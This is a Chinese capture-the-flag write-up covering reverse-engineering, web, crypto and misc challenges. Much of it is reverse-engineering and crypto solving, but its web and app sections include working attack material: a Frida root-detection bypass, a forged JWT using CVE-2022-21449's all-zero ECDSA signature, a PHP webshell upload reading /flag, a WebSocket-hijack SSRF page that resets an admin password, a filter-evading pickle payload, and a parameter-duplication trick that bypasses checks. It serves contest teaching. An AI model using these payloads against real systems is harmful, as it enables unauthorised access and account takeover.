s8, s2 s10 = s8 + s2 = 2*flag[30] + flag[31][1243] :: exec r1243.r_address <-8034255c418000e5c3000000000000000000000000000000-------------------- 0x0: xor byteptr [0x80415c], 0xe5--------------------


得到四个等式


flag_end[28] + flag_end[29] == 0x6c2*flag_end[28] + flag_end[29] == 0xa1flag_end[30] + flag_end[31] == 0xb12*flag_end[30] + flag_end[31] == 0xe5


z3解方程得到flag


from z3 import *flag = 'flag{366c950370fec47e34581a0'flag_end = [BitVec('f%d'%i,8) for i in range(4)]s = Solver()s.add(flag_end[0] + flag_end[1] == 0x6c)s.add(2*flag_end[0] + flag_end[1] == 0xa1)s.add(flag_end[2] + flag_end[3] == 0xb1)s.add(2*flag_end[2] + flag_end[3] == 0xe5)if s.check() == sat:   m = s.model()   f_e = [m[flag_end[i]].as_long() for iin range(4)]for i in range(4):   flag+=chr(f_e[i])print(flag)#flag{366c950370fec47e34581a0574}



2.easyapk

checkso文件里

idad810插件去混淆



进入sub_544,最下面可以看到tea加密



v153key,往上找可以找到生成key的代码

v15 = time(0);v183[0] = ((v15 & 0x20000000) - (v15& 0xD0000000) + 2 * (v15 & 0x50000000) + 705251522) ^ 0xB93B79F2;v16 = time(0);v183[1] = ((v16 & 0x10000000) - (v16& 0xE0000000) + 2 * (v16 & 0x60000000) + 268614163) ^ 0x47348F27;v17 = time(0);v183[2] = ((v17 & 0x50000000) - (v17& 0xA0000000) + 2 * (v17 & 0x20000000) + 1598838216) ^ 0xDD2D6CF0;v18 = time(0);v183[3] = (((v18 & 0x40000000) - (v18& 0xB0000000) + 2 * (v18 & 0x30000000) + 1085702636) ^ 0x30240060 |0x99A9B9D)        + 2 * (((v18& 0x40000000) - (v18 & 0xB0000000) + 2 * (v18 & 0x30000000) +1085702636) ^ 0x46D3E58F);

密文在之前那个代码最下面的memcmp中的unk_3E78

.data:00003E78 dword_3E78     DCD0x5D94AA84          ; DATA XREF: LOAD:0000009C↑o.data:00003E78        
; Java_com_a_easyapk_MainActivity_check+266↑o....data:00003E7C DCD 0x14FA24A0.data:00003E80 DCD 0x2B560210.data:00003E84 DCD 0xB69BDD49.data:00003E88 DCD 0xAAEFEAD4.data:00003E8C DCD 0x4B8CF4C6.data:00003E90 DCD 0x97FB8C9.data:00003E94 DCD 0xB5EC51D2


tea解密脚本先生成key再解密

#include <stdio.h>#include <stdint.h>
//加密函数void encrypt(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1], sum =0, i; /* set up */ uint32_t delta = 0x9e3779b9; /* a keyschedule constant */ uint32_t k0 = k[0], k1 = k[1], k2 =k[2], k3 = k[3]; /* cache key */ for (i = 0; i < 32; i++) { /* basiccycle start */ sum += delta; v0 += ((v1 << 4)+ k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); v1 += ((v0 << 4)+ k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); }
/* end cycle */ v[0] = v0; v[1] = v1;}//解密函数void decrypt(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1], sum =0xC6EF3720, i; /* set up */ uint32_t delta = 0x9e3779b9; /* a keyschedule constant */ uint32_t k0 = k[0], k1 = k[1], k2 =k[2], k3 = k[3]; /* cache key */ for (i = 0; i < 32; i++) { /*basic cycle start */ v1 -= ((v0 << 4)+ k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); v0 -= ((v1 << 4)+ k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; }
/* end cycle */ v[0] = v0; v[1] = v1;}
int main(){time_t v15; // r0time_t v16; // r0time_t v17; // r0time_t v18; // r0int v183[4];v15 = time(0);v183[0] = ((v15 & 0x20000000) - (v15& 0xD0000000) + 2 * (v15 & 0x50000000) + 705251522) ^ 0xB93B79F2;v16 = time(0);v183[1] = ((v16 & 0x10000000) - (v16& 0xE0000000) + 2 * (v16 & 0x60000000) + 268614163) ^ 0x47348F27;v17 = time(0);v183[2] = ((v17 & 0x50000000) - (v17& 0xA0000000) + 2 * (v17 & 0x20000000) + 1598838216) ^ 0xDD2D6CF0;v18 = time(0);v183[3] = (((v18 & 0x40000000) - (v18& 0xB0000000) + 2 * (v18 & 0x30000000) + 1085702636) ^ 0x30240060 |0x99A9B9D) + 2 * (((v18& 0x40000000) - (v18 & 0xB0000000) + 2 * (v18 & 0x30000000) +1085702636) ^ 0x46D3E58F); // printf("%x %x %x%x",v183[0],v183[1],v183[2],v183[3]);// 33323130 37363534 62613938 66656463 uint32_t v[2] = { 0x5D94AA84,0x14FA24A0 }, k = v183; uint32_t v1[2] = { 0x2B560210,0xB69BDD49 }; uint32_t v2[2] = { 0xAAEFEAD4,0x4B8CF4C6 }; uint32_t v3[2] = { 0x97FB8C9,0xB5EC51D2 }; decrypt(v, k); decrypt(v1, k); decrypt(v2, k); decrypt(v3, k); printf("解密后的数据:%x %x %x %x %x %x %x %x\n", v[0], v[1], v1[0], v1[1], v2[0], v2[1],v3[0], v3[1]); return 0;}


得到746e7973 5f67567b 415f6656675f6730 5f674e75 7570487a 456e755f 7d657271转字符为 tnys_gV{A_fVg_g0_gNuupHzEnu_}erq猜想rot13 galf_tI{N_sIt_t0_tAhhcUmRah_}red


c='galf_tI{N_sIt_t0_tAhhcUmRah_}red'f = ''for i in range(len(c)//4):    f += c[i*4:i*4+4][::-1]print(f)#flag{It_Is_N0t_thAt_mUch_haRder}


3.GameMaster

.net程序

dnSpy打开可以看到对gamemessage进行了aes和异或

aes

xor



在线解密得到文件,发现里面有一个可执行文件


dump下来后还是一个.net文件,打开可以看到真的逻辑

//T1Class.T1//Token: 0x06000003 RID: 3 RVA: 0x0000215C File Offset: 0x0000035CpublicT1(){try{string environmentVariable = Environment.GetEnvironmentVariable("AchivePoint1");string environmentVariable2 = Environment.GetEnvironmentVariable("AchivePoint2");string environmentVariable3 = Environment.GetEnvironmentVariable("AchivePoint3");bool flag = environmentVariable == null || environmentVariable2 == null || environmentVariable3 == null;if (!flag){ulong num = ulong.Parse(environmentVariable);ulong num2 = ulong.Parse(environmentVariable2);ulong num3 = ulong.Parse(environmentVariable3);ulong[] array = new ulong[3];byte[] array2 = new byte[40];byte[] array3 = new byte[40];byte[] array4 = new byte[12];byte[] first = new byte[]{101,5,80,213,163,26,59,38,19,6,173,189,198,166,140,183,42,247,223,24,106,20,145,37,24,7,22,191,110,179,227,5,62,9,13,17,65,22,37,5};byte[] array5 = new byte[]{60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227};array[0] = num;array[1] = num2;array[2] = num3;T1.Check1(array[0], array[1], array[2], array2);bool flag2 = first.SequenceEqual(array2);if (flag2){T1.ParseKey(array, array4);for (int i = 0; i < array5.Length; i++){array5[i] ^= array4[i % array4.Length];}MessageBox.Show("flag{" + Encoding.Default.GetString(array5) + "}", "Congratulations!", MessageBoxButtons.OK);}}}catch (Exception){}}


//T1Class.T1//Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250privatestatic void Check1(ulong x, ulong y, ulong z, byte[] KeyStream){int num = -1;for (int i = 0; i < 320; i++){x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1UL) | x << 1);y = (((y >> 30 ^ y >> 27) & 1UL) | y << 1);z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1UL) | z << 1);bool flag = i % 8 == 0;if (flag){num++;}KeyStream[num] = (byte)((long)((long)KeyStream[num] << 1) | (long)((ulong)((uint)((z >> 32 & 1UL & (x >> 30 & 1UL)) ^ (((z >> 32 & 1UL) ^ 1UL) & (y >> 31 & 1UL))))));}}



//T1Class.T1//Token: 0x06000002 RID: 2 RVA: 0x00002110 File Offset: 0x00000310privatestatic void ParseKey(ulong[] L, byte[] Key){for (int i = 0; i < 3; i++){for (int j = 0; j < 4; j++){Key[i * 4 + j] = (byte)(L[i] >> j * 8 & 255UL);}}}


//用z3解出3个数,再异或得到flagfrom z3 import *flag = [BitVec('x%d' % i, 64) for i in range(3)]s = Solver()

num = 0first = [101,5, 80, 213,163,26, 59, 38, 19, 6,173,189,198,166,140,183,42,247,223,24,106,20,145,37, 24, 7, 22, 191,110,179,227,5,62,9,13,17,65,22, 37, 5]

KeyStream = [0 for i in range(40)]for i in range(0,320): flag[0] = (((flag[0] >> 29 ^flag[0] >> 28 ^ flag[0] >> 25 ^ flag[0] >> 23) & 1) |flag[0] << 1) flag[1] = (((flag[1] >> 30 ^flag[1] >> 27) & 1) | flag[1] << 1) flag[2] = (((flag[2] >> 31 ^flag[2] >> 30 ^ flag[2] >> 29 ^ flag[2] >> 28 ^ flag[2]>> 26 ^ flag[2] >> 24) & 1) | flag[2] << 1) KeyStream[num] = (KeyStream[num]<< 1) | ((flag[2] >> 32 & 1 & (flag[0] >> 30 &1)) ^ (((flag[2] >> 32 & 1) ^ 1) & (flag[1] >> 31 &1))) if (i+1) % 8 == 0: s.add(first[num] ==KeyStream[num]) # print(KeyStream[num]) num += 1

print(s.check())print(s.model())#[ x0 = 156324965, x1 = 868387187, x2 = 3131229747]

array = [156324965, 868387187, 3131229747]key = [0 for i in range(12)]for i in range(3): for j in range(4): key[4*i+j] = array[i]>> j * 8 & 255

s = [60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227]for i in range(len(s)):
print(chr(s[i]^key[i%len(key)]),end='')



4.game

得到附件ba.ab,是安卓的备份文件,用abe.jar解包得到base.apk

分析base.apk


package com.silence.scoreboard.http;

import androidx.lifecycle.LifecycleOwner;import com.silence.bean.UserInfo;import com.silence.manager.LoginManager;import com.silence.network.HttpCall;import com.silence.network.RetrofitHelper;import com.silence.network.listener.CallBackLis;import com.silence.utils.MD5Utils;import com.silence.utils.OooOoo0;import java.util.HashMap;import java.util.Map;

public class HttpRequest {publicHttpRequest() {super();}

publicstatic void addFriend(LifecycleOwner arg2, String arg3, CallBackLis arg4) {HashMap v0 = new HashMap();try {((Map)v0).put("code", arg3);}catch(Exception v3) {v3.printStackTrace();}

HttpCall.doCall(arg2,RetrofitHelper.getInstance().getRetrofit().create(Api.class).addFriend(((Map)v0)),arg4, null);}

publicstatic void autologin(LifecycleOwner arg2, String arg3, String arg4, Stringarg5, CallBackLis arg6) {HashMap v0 = new HashMap();try {((Map)v0).put("code", arg3);((Map)v0).put("account", OooOoo0.encrypt(arg4));((Map)v0).put("username", OooOoo0.encrypt(arg5)); }catch(Exception v3) {v3.printStackTrace();}

HttpCall.doCall(arg2,RetrofitHelper.getInstance().getRetrofit().create(Api.class).autologin(((Map)v0)),arg6, null);}

publicstatic void getFlag(LifecycleOwner arg2, String arg3, String arg4, String arg5,CallBackLis arg6) {HashMap v0 = new HashMap();try {((Map)v0).put("code", arg3);((Map)v0).put("account", arg4);((Map)v0).put("username", arg5);}catch(Exception v3) {v3.printStackTrace();}

HttpCall.doCall(arg2,RetrofitHelper.getInstance().getRetrofit().create(Api.class).getFlag(((Map)v0)),arg6, null);}

publicstatic void getScoreBoard(LifecycleOwner arg2, CallBackLis arg3) {HttpCall.doCall(arg2, RetrofitHelper.getInstance().getRetrofit().create(Api.class).getScoreBoard(),arg3, null);}

publicstatic void login(LifecycleOwner arg2, String arg3, String arg4, CallBackLisarg5) {HashMap v0 = new HashMap();try {((Map)v0).put("account", OooOoo0.encrypt(arg3));}catch(Exception v3) {v3.printStackTrace();}

((Map)v0).put("passwd", MD5Utils.encode(arg4));HttpCall.doCall(arg2,RetrofitHelper.getInstance().getRetrofit().create(Api.class).login(((Map)v0)),arg5, null);}

publicstatic void register(LifecycleOwner arg2, String arg3, String arg4, Stringarg5, CallBackLis arg6) {HashMap v0 = new HashMap();try {((Map)v0).put("account", OooOoo0.encrypt(arg4));((Map)v0).put("username", OooOoo0.encrypt(arg3));}catch(Exception v3) {v3.printStackTrace();}

((Map)v0).put("passwd", MD5Utils.encode(arg5));HttpCall.doCall(arg2,RetrofitHelper.getInstance().getRetrofit().create(Api.class).register(((Map)v0)),arg6, null);}

publicstatic void submit(LifecycleOwner arg4, int arg5, CallBackLis arg6) {HashMap v0 = new HashMap();UserInfo v1 = LoginManager.getInstance().getUserInfo();try {((Map)v0).put("code", v1.getCode());((Map)v0).put("account", OooOoo0.encrypt(v1.getAccount()));((Map)v0).put("username", OooOoo0.encrypt(v1.getUserName()));((Map)v0).put("score", String.valueOf(arg5));}catch(Exception v5) {v5.printStackTrace();}

HttpCall.doCall(arg4,RetrofitHelper.getInstance().getRetrofit().create(Api.class).submit(((Map)v0)),arg6, null);}}


进入http://47.93.244.181/re/ScoreBoard.php


{"msg":"Success","code":0,"data":{"users":[{"code":"16186963","username":"vbGC\/A5+vRN74\/i3q7O3hE==","best":"100000000000"},{"code":"7730370","username":"ataoatao1234","best":"111111111"},{"code":"4359616","username":"ataoatao123","best":"111111111"},{"code":"987764","username":"DI5wnjldzTEX7ZHhjf03Ld==","best":"50987008"},{"code":"14541742","username":"2NAPI3ZLvqUWOx4DgOQWZE==","best":"10000000"},{"code":"8608967","username":"wcXl0gr+x2RveqpsR18NX6==","best":"100004"},{"code":"15115898","username":"nYqF3Jo5eaJIFocZ3khHNU==","best":"100000"},{"code":"9651071","username":"S+Fe4IflF5V6tQobB3zeME==","best":"100000"},{"code":"8438249","username":"THxV0iiD0FBjxNY+WMjcAE==","best":"99999"},{"code":"13373186","username":"nzGCmX3r+LTCiaUSds8kOU==","best":"99999"}],"admins":[{"code":"123125","username":"IbaoQT\/3eTXIjHDJ2L5TQE==","best":"9999"},{"code":"449863","username":"xG83slwpyjVBRRdbydzlO6==","best":"8715"},{"code":"1231234","username":"BIbp927Ubq8bHYhgtQyg\/6==","best":"7777"},{"code":"12304","username":"WZ9zRyS89JfoYv5XZF+iYE==","best":"7321"},{"code":"10847","username":"tgTkNbXOvDX7uqqtyX33X6==","best":"6874"},{"code":"86546","username":"SMSJzxdNOgxGRLBc1YoL7E==","best":"6666"},{"code":"891134","username":"ug6EQwFDiIRegeHAWJm0f6==","best":"5605"},{"code":"9849","username":"igwJEoCKfLpNnqmaRmXwxU==","best":"5432"},{"code":"993112","username":"AZIUSnhZa9fZsLwLsogmn6==","best":"2133"}]}}


可以看到admins里只有一个是9999以上

通过addfriend可以得到account


http://47.93.244.181/re/AddFriend.php   POST:code=123125{"msg":"Success","code":0,"data":{"account":"SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll\/Q4Q=","username":"IbaoQT\/3eTXIjHDJ2L5TQE==","best":"9999"}}


现在的目标是主动调用com.silence.utils.OooOoo0.decryp(),参数填为为"SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll/Q4Q="。

简单把encrypt()给hook掉,然后在里面调用decrypt()就行。

但是在此之前需要解决反检测的问题。根据测试过程,应该至少同时对root、supersu、frida进行检测。magisk模块过掉了对root的检测。

我们hook掉


com.silence.utils.OoOO.OOOOOooo()



com.silence.utils.RootUtils.check()


可以过掉root检测。对于frida的检测应该在native进行,只修改frida_android_server过不掉,暂时也没有时间去检查检测逻辑了。所以用一个取巧的办法,先不启动frida_android_server,让app正常启动起来,然后启动server并用frida -F去附加app进程,以此过掉检测代码。代码如下:


function main(){Java.perform(function x(){

varroot2 = Java.use("com.silence.utils.OoOO");root2.OOOOOooo.overload().implementation = function(){var ret = this.OOOOOooo();console.log("root check OOOOOooo:",ret);return false;};

varroot = Java.use("com.silence.utils.RootUtils");root.check.overload().implementation = function(){var ret = this.check();console.log("root check:",ret);return false;};

console.log("long live frida!");

//OooOoo0["decrypt"]("SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll\/Q4Q="//let OooOoo0 = Java.use("com.silence.utils.OooOoo0");

varoo = Java.use("com.silence.utils.OooOoo0");oo.encrypt.overload("java.lang.String").implementation =function(strs){console.log("hookmethod():args=", strs);strs = "SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll\/Q4Q=";var ret = this.decrypt(strs);console.log(ret);return strs;};})};setImmediate(main);//输出 &Od987$2sPa?>l<k^j


得到account后,给GetGlag.php发送请求即可得到flag


import requestsurl ="http://47.93.244.181/re/GetFlag.php"res = requests.post(url, data={"code":"123125", "account":"&Od987$2sPa?>l<k^j", "username":"admin"})print(res.text)


myjwt


cve-2022-21449

Java 的 ECDSA 签名验证实现不检查 r 或s 是否为零,因此您可以生成一个签名值,其中它们都是 0(适当编码),Java 将接受它作为任何消息和任何公共的有效签名钥匙。空白身份证的数字等价物。

伪造takon,绕过ECDSA签名验证,并满足name=admin,exp>time, admin = true就可以拿到flag

写个java


package src;import java.util.Base64;public class test{   public static boolean task(){  byte[] a ={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};  String sigB64 =Base64.getUrlEncoder().encodeToString(a);  System.out.println(sigB64);  return true;  }

public static void main(String[]args) throws Exception { task(); }}


生成0字节的base64,用于绕过ECDSA签名验证


获取一个token,得到token格式


{"typ":"JWT","alg":"myES"}.{"iss":"qwb","name":"admin","admin":false,"exp":1659200471906}.sigB64


修改为


{"typ":"JWT","alg":"myES"}.{"iss":"qwb","name":"admin","admin":true,"exp":1759200471906}.{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}


三部分分别经过Base64.getUrlEncoder().encodeToString()后得到


eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiYWRtaW4iLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxNzU5MjAwNDcxOTA2fQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


即可绕过验证得到flag


02

Web

l rcefile

源码泄露

$file = $_FILES["file"];if ($file["error"] == 0) {   if($_FILES["file"]['size']> 0 && $_FILES["file"]['size'] < 102400) {       $typeArr =explode("/", $file["type"]);       $imgType = array("png","jpg","jpeg");       if(!$typeArr[0]=="image" | !in_array($typeArr[1], $imgType)){          exit("type error");       }       $blackext =["php", "php5", "php3", "html","swf", "htm","phtml"];       $filearray =pathinfo($file["name"]);       $ext =$filearray["extension"];       if(in_array($ext,$blackext)) {          exit("extension error");       }       $imgname =md5(time()).".".$ext;      if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)){          array_push($userfile, $imgname);          setcookie("userfile", serialize($userfile), time() + 3600*10);           $msg =e("file: {$imgname}");           echo$msg;       } else {           echo"upload failed!";

魔改题`https://cloud.tencent.com/developer/article/1717668`

<?php system('cat /flag*');echo '1';?>



l babyweb



注册账号登录后查看源码发现是通过websocket发送数据

通过bugreport指令发现可通外网。


websocket劫持+内网ssrf,实现修改管理员的账户


VPS主机上创建a.html,内容如下,尝试访问常见WEB端口,在访问8888端口后发现密码修改成功。


<!DOCTYPE html><html lang="zh-CN"><head>   <title></title>   <script>       var url ="ws://127.0.0.1:8888/bot";       var ws = new WebSocket(url); ws.onopen= function (event) { ws.send("changepw123"); }</script></head><body></body></html>


发送 bugreport http://x.x.x.x/a.html


登出,管理员登录:账号admin 密码123

200买提示


源码审计发现,py调用go写的服务,可以传两个product绕过检测

充钱:

{"product":[{"id":1,"num":-5},{"id":2,"num":0}],"product":[{"id":1,"num":0},{"id":2,"num":0}]}


flag




l crash

@app.route('/balancer',methods=['GET', 'POST'])def flag():pickle_data=base64.b64decode(request.cookies.get("userdata"))if b'R' in pickle_dataor b"secret" in pickle_data:return "You damm hacker!"os.system("rm -rf *py*")userdata=pickle.loads(pickle_data)if userdata.token!=hash(get_password(userdata.username)):return "Login First"if userdata.username=='admin':return "Welcome admin, here is yournext challenge!"return "You're not admin!"


截取源码关键路由代码,在该路由下首先通过cookie接收序列代码

利用o来绕过R限制

然后在删除该目录下所有python文件后进行反序列化操作

重点在绕过

userdata.token!=hash(get_password(userdata.username))

这里思路是通过pickle反序列化实现全局变量admin.secret的覆盖,利用unicode来绕过前面对关键字secret的过滤,最后弹个user对象出来即可进入后台

构造payload如下

b'''cappadmin(Vsecr\u0065tS'password'db0(cappUserS"admin"S"password"o.'''


进入后台发现是负载均衡设置页面,构造服务器数据,超时拿到flag


03

Misc

l 签到


l 问卷调查

04

Crypto


lASR


from Crypto.Util.number import getPrimefrom secret import flagpad = lambda s:s +bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))n = getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2* getPrime(128)**2e = 3flag = pad(flag)print(flag)assert(len(flag) >= 48)m = int.from_bytes(flag,'big')c = pow(m,e,n)print(f'n = {n}')print(f'e = {e}')print(f'c = {c}')'''n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001e = 3c =945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149'''


n由四个素数的平方组成,给n开根号后直接尝试用yafu分解,分解得到



分别设为pqrs其中r-1q-1能被e整数

因此m^e % n = m^e % p*p*s*srsa解密即可


from Crypto.Util.number import long_to_bytesfrom gmpy2 import invert,gcdc =945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149p = 223213222467584072959434495118689164399q = 225933944608558304529179430753170813347r = 218566259296037866647273372633238739089s = 260594583349478633632570848336184053653phi = (p-1)*(s-1)*p*se = 3d = invert(e,phi)m = pow(c,d,p*p*s*s)print(long_to_bytes(m))#flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}



05

强网先锋

l ploydiv


从给的task中看到我们需要完成40次的多项式求解,网上有多项式求解的脚本。在这道题了,是模二多项式运算,把网上的脚本稍微改改就可以算了。耐心手算通过40次后就可以拿到flag

def add_poly(L1,L2): #多项式加法,同次项系数相加   R=[]   if len(L1)>len(L2):#默认L2比较长       L1,L2=L2,L1   i=0   while i<len(L1):      R.append((L1[i]+L2[i])%2)#从低次项开始对应相加       i+=1   R=R+L2[len(L1):len(L2)]#较长的多项式高次项直接复制   return Rdef subtract_poly(L1,L2): #多项式减法   L2=L2[:]#为了不改变传入的L2   for i in range(len(L2)):       L2[i]=L2[i]   return(add_poly(L1,L2))def multiply_poly(L1,L2):#多项式乘法   if len(L1)>len(L2):       L1,L2=L2,L1   zero=[];R=[]   for i in L1:       T=zero[:]#存储中间产生的结果多项式,每次更新结果多项式的列表长度       for j in L2:#一个单项式乘以多项式的每一项          T.append(i*j)       R=add_poly(R,T)       zero=zero+[0]# 每一个新的多形式都要比前一个多项式次数高1,列表长度增加,所以多补一个0   return Rdef divide_poly(L1,L2):   if len(L1)<len(L2):return 0,L1#商为0的情况   d=len(L1)-len(L2)#循环除的次数为d+1   T=L1[:]#被除数   R=[]#商   for i in range(d+1):       n=T[len(T)-1]/L2[len(L2)-1]#被除数的最高次项系数除以除数的最高次项的系数       R=[n]+R       T1=[0]*(d-i)+[n]#对得到的商补若干个0      T2=multiply_poly(T1,L2)#商乘以除数结果为T2       T=subtract_poly(T,T2)#被除数减去T2       T=T[:len(T)-1]#切片,被除数减少一次方   return R,T


如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。


▼扫码关注白帽子社区公众号&加入知识星球▼


浏览 35
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报